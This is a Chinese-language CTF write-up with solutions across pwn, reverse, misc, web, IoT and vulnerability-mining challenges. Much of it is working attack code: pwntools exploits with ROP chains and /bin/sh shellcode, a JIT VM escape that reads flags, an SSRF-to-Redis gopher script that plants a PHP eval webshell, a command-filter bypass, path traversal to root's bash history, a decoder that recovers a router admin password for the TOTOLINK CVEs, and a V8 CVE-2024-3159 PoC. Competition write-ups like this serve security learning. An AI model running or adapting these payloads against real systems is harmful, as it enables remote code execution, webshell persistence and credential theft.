PWN
fshell
通过合理构造,可以控制计算出来的IEEE754单精度浮点数的低三字节,可以设置为 pop 指令码,然后滑栈到ROP链就可以调用 read 系统调用写 shellcode,重新执行 shellcode。
from pwn import *
import os
from ctypes import *
from ae64 import AE64
from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='i386', os='linux', log_level='debug')
# context.clear(arch='amd64', os='linux')
bk = lambda :(dbg(),pause())
dbg = lambda : gdb.attach(io)
mydb = lambda : (lg("[*] pid ==> " + str(io.__getattr__("pid"))), pause())
inter = lambda:io.interactive()
re = lambda data: io.recv(data)
sd = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
sa = lambda data, content: io.sendafter(data,content)
sla = lambda data, content: io.sendlineafter(data,content)
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' == ' + hex(data) + '\x1b[0m')
l64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search("/bin/sh"))
def debug(c = 0):
if(c): gdb.attach(io, c)
else: bk()
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,b'\x00'))
else:
return u64(rl().strip('\n').ljust(8,b'\x00'))
#---------------------------------------------------------
libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
filename = "./main"
# io = process(filename)
# io = remote("valornt.chal.pwni.ng",1337)
io = remote("pwn-afd14592d4.challenge.xctf.org.cn", 9999, ssl=True)
elf = ELF(filename)
#---------------------------------------------------------
elf_rop = ROP(elf)
# pop_rdi_ret = elf_rop.find_gadget(['pop rdi', 'ret'])[0]
def encrypt(offset, content):
sla("@@: ", str(2))
sla("offset:", str(offset))
sla("encrypt:", content)
def decrypt(offset, content):
sla("@@: ", str(3))
sla("offset:", str(offset))
sa("decrypt:", content)
def login(content):
sla("@@: ", str(1))
sla("username", "user")
sla("password", content)
msg = 'xiaaewzl'
password = b''
for i in range(len(msg)):
password += chr((ord(msg[i]) - 97 - 9) % 26 + 97).encode()
# debug("b *0x0804A489") # encrypt
# debug("b *0x0804A489\nb *0x0804A540") # decrypt
password += b'\0'
sla("@@: ", str(1))
sla("username", b"user\0".ljust(99, b'a'))
sla("password", password.ljust(99, b'b'))
sla("@@: ", str(6))
# debug("b *0x0804A59C") # unknow
# debug("b *0x0804A1A4\n b *0x0804A209") # unknow
# debug("b *0x0804A209") # unknow
# debug("b *0x804a1c9") # unknow
# 0x080cc83a : pop eax ; ret
# 0x08049022 : pop ebx ; ret
# 0x08087d7e : pop eax ; call edi
# 0x080D3D9D : sh
# ==============set payload==================
sh = 0x080D3D9D
pop_eax = 0x080cc83a
pop_ebx = 0x08049022
syscall = 0x0807E25F
payload = p32(pop_eax) + p32(11) + p32(pop_ebx) + p32(sh) + p32(syscall)
pay = p32(0)*2 + p32(0x807EC96) + p32(0x8103ff4) + p32(0x804A1FD)
# pay = p32(0)*2 + p32(0x807D6B9) + p32(0x8103ff4) + p32(0x804A1FD)
pay = pay.ljust(20, b'a')
decrypt(0x1, pay)
# ===========================================
# sl(str(0x501362b2)) #0x8105300 pop edi
for i in range(3):
# sl(str(0x3db1b0e5)) # pop3
sl(str(0x3db1b12c)) # pop3
# sl(str(0x58848409)) # pop3
for i in range(5):
sl(str(0x3db1b17c)) # pop3
# sl(str(0x58bde409)) # pop1 ret
# sl(str(0x6de48409)) # pop2 ret
# sl(str(0x3cd8d89c)) # pop2 eax ret # 3cd8d89c ==> 0x4b585858
sl(str(0x3dae965c)) # push2 eax pop ebx ret
# sl(str(0x6de24138)) # pop2 ecx ret
sl(str(0x3cd9b0e5)) # pop ecx ebx eax ret
# sl(str(0x6dd423b8)) # inc2 eax ret
#========================================
sl(str(0x3daa11dc)) # inc2 eax pop ebx ret
sl(str(0x3dcef183)) # pop ebx ret
#========================================
sl(str(0x500))
shellcode = asm("""
pop eax
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push 11 /* 0xb */
pop eax
int 0x80
""")
# debug("b *0x0804A209") # unknow
sl(shellcode)
inter()
# eax == 3
# push rax 0x50
# push rax
# pop edx 0x5a
# pop ecx 0x59
# pop eax 0x58
# pop ebx 0x5b
# inc eax 0x40
# sys_read = 0x0807EC92
unsafevm
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
def gen_func_entry(hash, addr, size, callCount):
return p16(hash) + p64(addr) + p8(size) + p8(callCount)
def pack_kowaii_bin(entry, bss, no_funcs, entry_list, code_data):
buf = b"NEWELF" + p16(entry) + p32(0x46544358) + p16(bss) + p8(no_funcs)
for func_entry in entry_list:
buf += func_entry
buf = buf.ljust(0x1000, b"\x00")
buf += code_data
return buf
############################## Hack Function ##############################
hack_func_code = b""
# control balanceStack vector when JITgen and make it don't crash the key heap metadata...
for _ in range(0xf):
hack_func_code += p8(0xb5) + p8(0) # push reg[0]
for _ in range(0xf):
hack_func_code += p8(0xb6) + p8(0) # pop reg[0]
hack_func_code += p8(0xb6) + p8(0) # pop reg[0]
for _ in range(8):
hack_func_code += p8(0xb6) + p8(2) # pop reg[2]
hack_func_code += p8(0xb9) + p8(1) + p32(3) # mov reg[1], 3 # modify retaddr to retaddr+3
hack_func_code += p8(0xb0) + p8(0) + p8(0) + p8(1) # reg[0] = reg[0] + reg[1]
hack_func_code += p8(0xb5) + p8(0) # push reg[0]
hack_func_code += p8(0xbb) # ret
hack_func_hash = 0x1111
hack_func_entry = gen_func_entry(hack_func_hash, 0x4000, len(hack_func_code), 0)
##########################################################################
############################## JIT Function ##############################
jit_func_code = b""
# prepare enough space for hack_func() to hack balanceStack vector
for _ in range(8):
jit_func_code += p8(0xb5) + p8(0) # push reg[0]
jit_func_code += p8(0xba) + p16(hack_func_hash) # call hack_func
# this will ret in a shifted position
tmp = p8(0xff) + p8(0xb9) + p8(0) + b"\xaa" + p8(0xbc) + p8(0xbc)+ p8(0xbc) # 0xff, mov reg[0], value32(value16(b"\xaa\xbb")+value8(nop)+value8(nop)+value8(nop))
jit_func_code += p8(0xb9) + p8(0) + tmp # mov reg[0], value32(tmp[:4]); nop; nop; nop
# JOP shellcode
jit_func_code += p8(0xb9) + p8(0) + asm("push r8;")+b"\xeb\x02" # set rbx to 0
jit_func_code += p8(0xb9) + p8(0) + asm("pop rbx; nop;")+b"\xeb\x02"
## open
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02" # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdi;")+b"\xeb\x02" # clear rdi
jit_func_code += p8(0xb9) + p8(0) + asm("push rdx; pop rsi;")+b"\xeb\x02" # load &"flag.txt" into rsi
#jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rsi;")+b"\xeb\x02" # clear rsi
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdx;")+b"\xeb\x02" # clear rdx
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02" # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0xff;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("inc eax;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("inc eax;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02" # open("flag.txt", 0)
## read
jit_func_code += p8(0xb9) + p8(0) + asm("push rsi; pop rsi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rax; pop rdi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02" # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02" # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x0;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02" # read(rax, bss, 0xff)
## write
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02" # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0x1;")+b"\xeb\x02" # stdout
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02" # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02" # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x1;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02" # write(1, bss, 0xff)
jit_func_code += p8(0xb9) + p8(0) + b"\x90\x90\xeb\x02"
jit_func_code += p8(0xbb) # ret
jit_func_hash = 0x2222
jit_func_entry = gen_func_entry(jit_func_hash, 0x3000, len(jit_func_code), 0xa-1)
########################################################################
############################ Dummy Function ############################
dummy_func_code = b""
for _ in range(0xa):
dummy_func_code += p8(0xba) + p16(jit_func_hash) # call jit_func
dummy_func_code += p8(0xba) + p16(jit_func_hash) # call jit_func
dummy_func_code += p8(0xbb) # ret
dummy_func_hash = 0x3333
dummy_func_entry = gen_func_entry(dummy_func_hash, 0x2000, len(dummy_func_code), 0)
########################################################################
############################ Entry Code ################################
entry_code = b""
# store "flag.txt" string into bss
entry_code += p8(0xb9) + p8(1) + b"/hom" # mov reg[1], u32("flag")
entry_code += p8(0xb8) + p8(1) + p32(0)
entry_code += p8(0xb9) + p8(1) + b"e/ct" # mov reg[1], u32(".txt")
entry_code += p8(0xb8) + p8(1) + p32(0x4)
entry_code += p8(0xb9) + p8(1) + b"f/fl" # mov reg[1], u32("\x00\x00\x00\x00")
entry_code += p8(0xb8) + p8(1) + p32(0x8)
entry_code += p8(0xb9) + p8(1) + b"ag\x00\x00" # mov reg[1], u32("\x00\x00\x00\x00")
entry_code += p8(0xb8) + p8(1) + p32(0x8+4)
entry_code += p8(0xba) + p16(dummy_func_hash) # call dummy_func_code
entry_code += p8(0xbf) # hlt
########################################################################
############################ Pack Bin Data #############################
code_data = entry_code.ljust(0x1000, b"\x00") # 0x1000
code_data += dummy_func_code.ljust(0x1000, b"\x00") # 0x2000
code_data += jit_func_code.ljust(0x1000, b"\x00") # 0x3000
code_data += hack_func_code.ljust(0x1000, b"\x00") # 0x4000
exec_entry = 0x1000
bss_start = 0xc000
func_entry_list =[jit_func_entry, hack_func_entry, dummy_func_entry]
bin_data = pack_kowaii_bin(exec_entry, bss_start, len(func_entry_list), func_entry_list, code_data)
########################################################################
#p=process("./pwn")
p=remote("pwn-8bc86c67be.challenge.xctf.org.cn",9999,ssl=True)
p.sendlineafter(b'> ',bin_data+b"\x0a")
#gdb.attach(p,"b mprotect\nb*$rebase(0x0000000000003771)")
#pause()
p.sendlineafter(b'> ', b'y')
p.interactive()
Reverse
packpy
import random
random.seed(35)
key=list(range(256))
random.shuffle(key)
enc=b'\x18\xfa\xadd\xed\xab\xad\x9d\xe5\xc0\xad\xfa\xf9\x0be\xf9\xe5\xade6\xf9\xfd\x88\xf9\x9d\xe5\x9c\xe5\x9de\xc3))\x0f\xff'
def find_idx(value,key):
for i in range(256):
if key[i]==value:
return i
for i in range(len(enc)):
temp=enc[i]^95
v=find_idx(temp,key)
print(chr(v),end="")
ccc
IDA手撕cython,根据字符串定位地址(好像都是第二个)
此处就是函数的运行流程
v7的函数进去之后可以大致分析出是什么函数,这里注意到最后一块,v5 >> a3,所以这里是执行右移操作
同理v11所在函数是and
SetItem应该是a3[v14] = v8
Challenge.i2b这一块就由这三个组成,可以很容易得分析出i2b的运行逻辑
def i2b(a, b, c):
v7 = a >> 24
v11 = v7 & 0xff
b[c] = v11
v13 = a >> 16
v8 = v13 & 0xff
v14 = c + 1
b[v14] = v8
v15 = a >> 8
v11 = v15 & 0xff
v16 = c + 2
b[v16] = v11
v11 = a & 0xff
v17 = c + 3
b[v17] = v11
基本上所有的函数都可以这样子硬撕,看到Challenge.checkFlag
这里是设定一个数组
可以通过交叉引用取得数组里的值,很显然这里就是v10=78
通过这里获得数组
v7 = [78, 200, 117, 86, 215, 190, 169, 72, 184, 158, 163, 199, 194, 241, 60, 46]
此处同理,这里生成了一个长度为52的数组,内容都是0
一个生成了2个52长度的和一个1024长度的
下面还生成了一个新的数组
v44 = [223, 75, 84, 137, 140, 81, 0, 14, 224, 207, 10, 89, 135, 8, 150, 111, 60, 162, 243, 52, 22, 180, 122, 247, 164, 96, 161, 215, 202, 58, 184, 72, 236, 150, 96, 199, 137, 2, 73, 131, 123, 227, 143, 242, 111, 137, 65, 87]
下面这种是调用函数
可以通过交叉引用来获取函数名
下面这一块是调用部分,v197和v201分别是KeyExpend的两个参数
经过分析后,checkFlag函数大致如下:
def checkFlag(input):
v197 = v7 = [78, 200, 117, 86, 215, 190, 169, 72, 184, 158, 163, 199, 194, 241, 60, 46]
Item_KnownHash1 = [0 for i in range(52)]
Item_KnownHash2 = [0 for i in range(52)]
Item_KnownHash3 = [0 for i in range(1024)]
v44 = [223, 75, 84, 137, 140, 81, 0, 14, 224, 207, 10, 89, 135, 8, 150, 111, 60, 162, 243, 52, 22, 180, 122, 247, 164, 96, 161, 215, 202, 58, 184, 72, 236, 150, 96, 199, 137, 2, 73, 131, 123, 227, 143, 242, 111, 137, 65, 87]
keyExpend(v197, Item_KnownHash1)
for i in range(0, 48, 8):
func3(list(input), i, Item_KnownHash3, i, Item_KnownHash1)
if Item_KnownHash3 == v44:
print("nice")
else: print("error")
那么很显然,func3就是加密部分,keyExpend不需要分析
同上分析func3大致如下:
def func3(input, i, Item_KnownHash3, i2, Item_KnownHash1):
tmp1 = b2i(input, i)
tmp2 = b2i(input, i + 4)
tmp1_high = (tmp1 >> 16) & 0xffff
tmp1_low = tmp1 & 0xffff
tmp2_high = (tmp2 >> 16) & 0xffff
tmp2_low = tmp2 & 0xffff
for i in range(0, 48, 6):
gh1 = func3_a(tmp1_high, Item_KnownHash1[i])
gh2 = (tmp1_low + Item_KnownHash1[i + 1]) & 0xffff
gh3 = (tmp2_low + Item_KnownHash1[i + 2]) & 0xffff
gh4 = func3_a(tmp2_low, Item_KnownHash1[i + 3])
gh5 = func3_a(gh1 ^ gh3, Item_KnownHash1[i + 4])
gh6 = func3_a(((gh2 ^ gh4) + gh5) & 0xffff, Item_KnownHash1[i + 5])
tmp1_low = gh6 ^ gh3
tmp1_high = gh1 ^ gh6
tmp2_low = gh4 ^ (gh5 + gh6)
tmp2_high = (gh5 + gh6) ^ gh2
tmp1_high = func3_a(tmp1_high, Item_KnownHash1[-4])
tmp2_high += Item_KnownHash1[-3]
tmp1_low += Item_KnownHash1[-2]
tmp2_low = func3_a(tmp2_low, Item_KnownHash1[-1])
gh10 = ((tmp1_high << 16) & 0xffff) | (tmp2_high & 0xffff)
# print(gh10)
i2b(gh10, Item_KnownHash3, i2)
gh11 = ((tmp1_low << 16) & 0xffff) | (tmp2_low & 0xffff)
# print(gh11)
i2b(gh11, Item_KnownHash3, i2 + 4)
此处调用了func3_a,函数内容大致如下:
def func3_a(a, b):
tmp = a * b
v6 = v17 = tmp & 0xffff
v18 = tmp >> 16
v7 = v19 = v18 & 0xffff
if v19 == v17:
v22 = v6 - v7 + 1
else:
v22 = v6 - v7
return v22
从func3中可知,参数b是固定值,我们可以通过爆破获取输入a:
def func3_a_de(enc, b):
a = 0
while True:
if enc == Challenge.func3_a(a, b) & 0xffff:
return a
a += 1
然后func3的逆向算法如下:
def func3_de(enc, i, flag, i2, Item_KnownHash1):
gh10 = Challenge.b2i(enc, i)
gh11 = Challenge.b2i(enc, i + 4)
tmp1_high = (gh10 >> 16) & 0xffff
tmp2_high = gh10 & 0xffff
tmp1_low = (gh11 >> 16) & 0xffff
tmp2_low = gh11 & 0xffff
tmp1_high = func3_a_de(tmp1_high, Item_KnownHash1[-4])
tmp2_high = (tmp2_high - Item_KnownHash1[-3] & 0xffff)
tmp1_low = (tmp1_low - Item_KnownHash1[-2] & 0xffff)
tmp2_low = func3_a_de(tmp2_low, Item_KnownHash1[-1])
# print(tmp1_high, tmp2_high, tmp1_low, tmp2_low)
k = len(Item_KnownHash1)
k -= 4
for j in range(0, 48, 6)[::-1]:
gh1_xor_gh3 = tmp1_high ^ tmp1_low
gh2_xor_gh4 = tmp2_high ^ tmp2_low
gh5 = Challenge.func3_a(gh1_xor_gh3 & 0xffff, Item_KnownHash1[j+4])& 0xffff
gh6 = Challenge.func3_a((gh2_xor_gh4+gh5) & 0xffff, Item_KnownHash1[j+5])& 0xffff
gh3 = tmp1_low ^ gh6
gh1 = tmp1_high ^ gh6
gh4 = tmp2_low ^ (gh5 + gh6) & 0xffff
gh2 = tmp2_high ^ (gh5 + gh6) & 0xffff
tmp1_high = func3_a_de(gh1, Item_KnownHash1[j])
tmp1_low = (gh2 - Item_KnownHash1[j+1]) & 0xffff
tmp2_high = (gh3 - Item_KnownHash1[j+2]) & 0xffff
tmp2_low = func3_a_de(gh4, Item_KnownHash1[j+3])
tmp1 = tmp1_low | tmp1_high << 16
tmp2 = tmp2_low | tmp2_high << 16
print(tmp1, tmp2)
Challenge.i2b(tmp1, flag, i2)
Challenge.i2b(tmp2, flag, i2+4)
完整exp:
import Challenge
def func3_a_de(enc, b):
a = 0
while True:
if enc == Challenge.func3_a(a, b) & 0xffff:
return a
a += 1
v44 = [223, 75, 84, 137, 140, 81, 0, 14, 224, 207, 10, 89, 135, 8, 150, 111, 60, 162, 243, 52, 22, 180, 122, 247, 164,
96, 161, 215, 202, 58, 184, 72, 236, 150, 96, 199, 137, 2, 73, 131, 123, 227, 143, 242, 111, 137, 65, 87]
v7 = [78, 200, 117, 86, 215, 190, 169, 72, 184, 158, 163, 199, 194, 241, 60, 46]
Item_KnownHash1 = [0 for i in range(52)]
Challenge.keyExpend(v7, Item_KnownHash1)
flag = [0 for i in range(48)]
def func3_de(enc, i, flag, i2, Item_KnownHash1):
gh10 = Challenge.b2i(enc, i)
gh11 = Challenge.b2i(enc, i + 4)
tmp1_high = (gh10 >> 16) & 0xffff
tmp2_high = gh10 & 0xffff
tmp1_low = (gh11 >> 16) & 0xffff
tmp2_low = gh11 & 0xffff
tmp1_high = func3_a_de(tmp1_high, Item_KnownHash1[-4])
tmp2_high = (tmp2_high - Item_KnownHash1[-3] & 0xffff)
tmp1_low = (tmp1_low - Item_KnownHash1[-2] & 0xffff)
tmp2_low = func3_a_de(tmp2_low, Item_KnownHash1[-1])
# print(tmp1_high, tmp2_high, tmp1_low, tmp2_low)
k = len(Item_KnownHash1)
k -= 4
for j in range(0, 48, 6)[::-1]:
gh1_xor_gh3 = tmp1_high ^ tmp1_low
gh2_xor_gh4 = tmp2_high ^ tmp2_low
gh5 = Challenge.func3_a(gh1_xor_gh3 & 0xffff, Item_KnownHash1[j+4])& 0xffff
gh6 = Challenge.func3_a((gh2_xor_gh4+gh5) & 0xffff, Item_KnownHash1[j+5])& 0xffff
gh3 = tmp1_low ^ gh6
gh1 = tmp1_high ^ gh6
gh4 = tmp2_low ^ (gh5 + gh6) & 0xffff
gh2 = tmp2_high ^ (gh5 + gh6) & 0xffff
tmp1_high = func3_a_de(gh1, Item_KnownHash1[j])
tmp1_low = (gh2 - Item_KnownHash1[j+1]) & 0xffff
tmp2_high = (gh3 - Item_KnownHash1[j+2]) & 0xffff
tmp2_low = func3_a_de(gh4, Item_KnownHash1[j+3])
tmp1 = tmp1_low | tmp1_high << 16
tmp2 = tmp2_low | tmp2_high << 16
# print(tmp1, tmp2)
Challenge.i2b(tmp1, flag, i2)
Challenge.i2b(tmp2, flag, i2+4)
for i in range(0, 48, 8):
func3_de(v44, i, flag, i, Item_KnownHash1)
for i in range(len(flag)):
print(chr(flag[i]), end="")
flag{c620aafa-a72b-d11f-2a9d-334d595bb4a7}
MISC
两级反转
from PIL import Image
''' # 二维码转二进制
img = Image.open(r"C:\Users\HK\Desktop\8E2A248B-0EE8-42b2-B19B-C6A9CE0D47F8.png")
block = 29
bin_txt = ''
for y in range(block):
for x in range(block):
pixel = img.getpixel((x * 25 + 10, y * 25 + 10))
if pixel== (0, 0, 0, 255):
bin_txt += '1'
else:
bin_txt += '0'
bin_txt += '\n'
print(bin_txt)
'''
# 二进制反转
lines = open(r"C:\Users\HK\Desktop\block.txt").readlines()
out = ''
for i in range(len(lines)):
if i % 2 != 0:
for word in lines[i]:
if word == '0':
out += '1'
elif word == '1':
out += '0'
else:
out += word
else:
out += lines[i]
print(out)
二进制转二维码
扫码拿到flag
SPY2.0
binwalk可以读到图片,但是要自己手动提取
WEB
easyweb
访问flag.php得到 然后在访问加密的代码.zip得到源码
<?php
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1)
{
echo 'welcome,admin';
$_SESSION['admin'] = True;
}
else
{
die('flag?');
}
?>
<?php
if ($_SESSION['admin'])
{
if(isset($_POST['code']))
{
if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1)
echo 'no!';
elseif(preg_match("/[@#%^&*()|\/?><']/",$_POST['code'])==1)
echo 'no!';
else
system($_POST['code']);
}
}
?>
第一步id=1 9就能绕过 第二步l${b}s 可以绕过查看当前目录
访问7l8g得到lflag
tantantan
探测发现aaabbb.php的data参数存在ssrf漏洞 然后利用ssrf打redis 我这里是写马 脚本网上一大堆
import urllib
protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "\n\n<?php @eval($_POST[0]);?>\n\n"
filename = "shell1.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd
if __name__ == "__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
传参注意编码问题
访问shell1.php
where
http://web-1d2e51ca4f.challenge.xctf.org.cn/look?file=/root/.bash_history
IOT
special
使用binwalk分解固件
binwalk -Me firmware.bin
将其中C图标和Web图标的文件提取出来
对源代码进行审计,发现若干个网站路径,并且题干中提示怀疑其中存在漏洞,因此尝试Google搜索每一个路径
发现CVE-2019-19825与此其中一个路径高度吻合
查阅相关资料发现CVE-2019-19822至CVE-2019-19825都为同型号漏洞
复现博客:https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html
exp地址:https://sploit.tech/files/CVE-2019-19822-19825-exploit.sh
本题我们只需要解密管理员用户密码,因此只需要保存decode.c即可
/**
* Based on apmib.h from:
* Copyright (C) 2006-2009 OpenWrt.org
* Original author - David Hsu <davidhsu@realtek.com.tw>
*/
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <endian.h>
#define N 4096 /* size of ring buffer */
#define F 18 /* upper limit for match_length */
#define THRESHOLD 2 /* encode string into position and length if match_length is greater than this */
static unsigned char *text_buf; /* ring buffer of size N, with extra F-1 bytes to facilitate string comparison */
#define LZSS_TYPE unsigned short
#define NIL N /* index for root of binary search trees */
struct lzss_buffer {
unsigned char text_buf[N + F - 1];
LZSS_TYPE lson[N + 1];
LZSS_TYPE rson[N + 257];
LZSS_TYPE dad[N + 1];
};
static LZSS_TYPE match_position, match_length; /* of longest match. These are set by the InsertNode() procedure. */
static LZSS_TYPE *lson, *rson, *dad; /* left & right children & parents -- These constitute binary search trees. */
typedef struct compress_mib_header {
unsigned char signature[6];
unsigned short compRate;
unsigned int compLen;
} COMPRESS_MIB_HEADER_T;
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
int Decode(unsigned char *ucInput, unsigned int inLen, unsigned char *ucOutput) /* Just the reverse of Encode(). */
{
int i, j, k, r, c;
unsigned int flags;
unsigned int ulPos=0;
unsigned int ulExpLen=0;
if ((text_buf = malloc( N + F - 1 )) == 0) {
//fprintf(stderr, "fail to get mem %s:%d\n", __FUNCTION__, __LINE__);
return 0;
}
for (i = 0; i < N - F; i++)
text_buf[i] = ' ';
r = N - F;
flags = 0;
while(1) {
if (((flags >>= 1) & 256) == 0) {
c = ucInput[ulPos++];
if (ulPos>inLen)
break;
flags = c | 0xff00; /* uses higher byte cleverly */
} /* to count eight */
if (flags & 1) {
c = ucInput[ulPos++];
if ( ulPos > inLen )
break;
ucOutput[ulExpLen++] = c;
text_buf[r++] = c;
r &= (N - 1);
} else {
i = ucInput[ulPos++];
if ( ulPos > inLen ) break;
j = ucInput[ulPos++];
if ( ulPos > inLen ) break;
i |= ((j & 0xf0) << 4);
j = (j & 0x0f) + THRESHOLD;
for (k = 0; k <= j; k++) {
c = text_buf[(i + k) & (N - 1)];
ucOutput[ulExpLen++] = c;
text_buf[r++] = c;
r &= (N - 1);
}
}
}
free(text_buf);
return ulExpLen;
}
void main(int argc, char**argv) {
char *addr;
int fd;
struct stat sb;
off_t offset, pa_offset;
size_t length;
ssize_t s;
char* filename = "config.dat";
COMPRESS_MIB_HEADER_T * header;
if (argc>2) {
printf("Wrong number of parameters!");
exit(1);
}
if (argc==2) {
filename=argv[1];
}
fd = open(filename, O_RDONLY);
if (fd == -1)
handle_error("open");
if (fstat(fd, &sb) == -1) /* To obtain file size */
handle_error("fstat");
addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
header = (COMPRESS_MIB_HEADER_T*)addr;
printf("%u\n", be16toh(header->compRate));
printf("%u\n", be32toh(header->compLen));
printf("%u\n", sb.st_size);
unsigned char *expFile=NULL;
expFile=calloc(1,be16toh(header->compRate)*be32toh(header->compLen));
unsigned int expandLen = Decode(addr+sizeof(COMPRESS_MIB_HEADER_T), be32toh(header->compLen), expFile);
printf("%u\n", expandLen);
printf("%.*s\n",100, expFile);
fwrite(expFile, 1, expandLen, stdout);
//flash_read_raw_mib("config.dat");
}
随后gcc编译即可
gcc -o decode decode.c
根据之前审计时信息可以猜到,文件内容没有损坏,只是文件目录、文件名损坏,因此我们尝试遍历每个文件,并解密
#!/bin/bash
# 设置文件夹路径
DIRECTORY="./_firmware.bin.extracted"
# 遍历目录中的所有文件
for file in "$DIRECTORY"/*
do
echo "Processing $file..."
# 对每个文件执行你的命令
# 解码,转为十六进制,删除换行,搜索特定模式,处理输出
./decode "$file" | xxd -p | tr -d '\n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p
done
运行sh文件即可,发现文件为2F3B94,解密后密码为H3r0s1mpl3
验证一下
# 设置文件路径
FILE_PATH="./_firmware.bin.extracted/2F3B94"
DECODE_CMD="./decode" # 设置decode命令的路径
# 确保decode命令存在并且可执行
if [ ! -x "$DECODE_CMD" ]; then
echo "Decode command not found or not executable: $DECODE_CMD"
exit 1
fi
# 处理文件以提取密码
P=$("$DECODE_CMD" "$FILE_PATH" | xxd -p | tr -d '\n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p)
# 处理文件以提取用户名
U=$("$DECODE_CMD" "$FILE_PATH" | xxd -p | tr -d '\n' | grep -Po 'b6001f.*?00' | sed 's#00$##g' | sed 's#b6001f##g' | xxd -r -p)
# 打印用户名和密码
echo "User: $U"
echo "Password: $P"
确定管理员密码为:H3r0s1mpl3
md5加密后即可得到flag
flag{0e327444a0ef9a1819c341f396d97b18}
漏洞挖掘赛
vvvvvvvv
CVE-2024-3159,目前该漏洞报告并没有公开,但是仍然能够找到相关 poc:https://docs.google.com/document/d/1ke0S2NrhPIo7VX2zpEKyMVURVOk-v22mNvAovlL6EeM/edit#heading=h.ksz9twl4bvwr
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 1;
object2.b = 1;
const object3 = {};
object3.a = 1;
object3.b = 1;
object3.c = 1;
Object.defineProperty(object3, "d", {writable: false, enumerable: true, value: 1});
// create a split branch in map transition tree
const object4 = {};
object4.a = 1;
object4.b = 1;
object4.c = 1;
object4.d = 1;
for (let key in object3) { }
delete object3.d;
let escape;
function trigger(callback) {
for (let key in object2) {
callback();
escape = object2[key];
}
}
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);
trigger(_ => {
object4.c = 1.1;
for (let key in object1) { }
});
// %SystemBreak();
